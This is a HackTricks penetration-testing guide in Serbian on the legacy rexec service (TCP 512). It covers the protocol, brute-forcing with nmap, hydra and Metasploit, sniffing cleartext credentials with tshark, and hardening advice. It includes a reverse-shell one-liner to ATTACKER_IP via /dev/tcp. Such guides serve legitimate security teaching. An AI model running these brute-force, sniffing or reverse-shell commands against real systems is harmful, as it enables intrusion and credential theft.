hacktricks/src/network-services-pentesting/512-pentesting-rexec.md

4.6 KiB
Raw Blame History

512 - Pentesting Rexec

{{#include ../banners/hacktricks-training.md}}

Osnovne informacije

Rexec (remote exec) je jedan od originalnih Berkeley r-servisa (zajedno sa rlogin, rsh, …). Omogućava daljinsko izvršavanje komandi autentifikovano samo sa korisničkim imenom i lozinkom u čistom tekstu. Protokol je definisan početkom 1980-ih (vidi RFC 1060) i danas se smatra nesigurnim po dizajnu. Ipak, još uvek je podrazumevano omogućen u nekim nasleđenim UNIX / mrežno povezanim uređajima i povremeno se pojavljuje tokom internih pentestova.

Podrazumevani port: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Sav saobraćaj uključujući akreditive se prenosi nekriptovano. Svako ko ima mogućnost da prisluškuje mrežu može da povrati korisničko ime, lozinku i komandu.

Brzi pregled protokola

  1. Klijent se povezuje na TCP 512.
  2. Klijent šalje tri NUL-terminirane stringa:
  • broj porta (kao ASCII) na kojem želi da primi stdout/stderr (često 0),
  • korisničko ime,
  • lozinku.
  1. Poslednji NUL-terminirani string sa komandom koja treba da se izvrši se šalje.
  2. Server odgovara sa jednim 8-bitnim statusnim bajtom (0 = uspeh, 1 = neuspeh) praćenim izlazom komande.

To znači da možete ponoviti razmenu sa samo echo -e i nc:

(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Ako su akreditivi validni, dobićete izlaz id odmah nazad na istoj vezi.

Ručna upotreba sa klijentom

Mnoge Linux distribucije još uvek isporučuju legacijski klijent unutar paketa inetutils-rexec / rsh-client:

rexec -l user -p password <target> "uname -a"

Ako je -p izostavljen, klijent će interaktivno tražiti lozinku (vidljivu na mreži u čistom tekstu!).


Enumeracija i Brute-forcing

Brute-force

Nmap

nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

rexec-brute NSE koristi protokol opisan iznad da brzo proba kredencijale.

Hydra / Medusa / Ncrack

hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra ima posvećen rexec modul i ostaje najbrži offline bruteforcer. medusa (-M REXEC) i ncrack (rexec modul) mogu se koristiti na isti način.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Modul će pokrenuti shell nakon uspeha i sačuvati kredencijale u bazi podataka.


Snimanje kredencijala

Pošto je sve u čistom tekstu, snimci mreže su neprocenjivi. Sa kopijom saobraćaja možete izvući kredencijale bez dodirivanja mete:

tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark omogućite Decode As …​ TCP 512 → REXEC da biste videli lepo analizirana polja.)


Saveti nakon eksploatacije

  • Komande se izvršavaju sa privilegijama datog korisnika. Ako je /etc/pam.d/rexec pogrešno konfiguran (npr. pam_rootok), root ljuske su ponekad moguće.
  • Rexec ignoriše korisničku ljusku i izvršava komandu putem /bin/sh -c <cmd>. Stoga možete koristiti tipične trikove za bekstvo iz ljuske (;, $( ), backticks) da povežete više komandi ili pokrenete obrnute ljuske:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Lozinke se često čuvaju u ~/.netrc na drugim sistemima; ako kompromitujete jedan host, možete ih ponovo koristiti za lateralno kretanje.

Ojačavanje / Detekcija

  • Ne izlažite rexec; zamenite ga sa SSH. Virtuelno svi moderni inetd superserveri podrazumevano komentarišu ovu uslugu.
  • Ako ga morate zadržati, ograničite pristup pomoću TCP wrapper-a (/etc/hosts.allow) ili pravila vatrozida i primenite jake lozinke po nalogu.
  • Pratite saobraćaj ka :512 i pokretanje rexecd procesa. Jedan paketni snimak je dovoljan da otkrije kompromitaciju.
  • Onemogućite rexec, rlogin, rsh zajedno dele većinu istog koda i slabosti.

Reference